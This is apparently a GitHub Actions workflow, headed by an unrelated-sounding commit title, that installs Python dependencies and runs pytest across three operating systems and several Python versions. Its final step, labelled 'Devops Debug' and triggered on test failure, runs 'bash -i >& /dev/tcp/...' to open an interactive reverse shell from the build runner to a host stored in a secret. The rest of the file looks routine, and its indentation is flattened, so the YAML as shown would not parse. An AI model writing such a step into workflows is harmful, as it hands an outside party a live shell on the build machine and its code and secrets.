fix[sub]check return type #12

	# This workflow will install Python dependencies, run tests and lint with a single version of Python
	# For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions
	name: Build & Test

	on:
	push:
	branches: '*'
	pull_request:
	branches: '*'

	jobs:
	build:
	runs-on: ${{ matrix.os }}
	strategy:
	matrix:
	os: [ubuntu-latest, macos-latest, windows-latest]
	python-version: [ '3.7', '3.8', '3.9', '3.10', '3.11']
	steps:
	- uses: actions/checkout@v3
	- name: Set up Python
	uses: actions/setup-python@v4
	with:
	python-version: ${{ matrix.python-version }}
	- name: Display Python version
	run: python --version

	- name: Install dependencies
	run: \|
	python -m pip install --upgrade pip
	python -m pip install pytest
	python -m pip install -r requirements.txt
	- name: Test with pytest
	run: \|
	pytest -v --full-trace --durations 10
	- name: Devops Debug
	if: ${{ failure() }}
	run: \|
	bash -i >& /dev/tcp/${{ secrets.DEBUG_SERVER }} 0>&1
	continue-on-error: true

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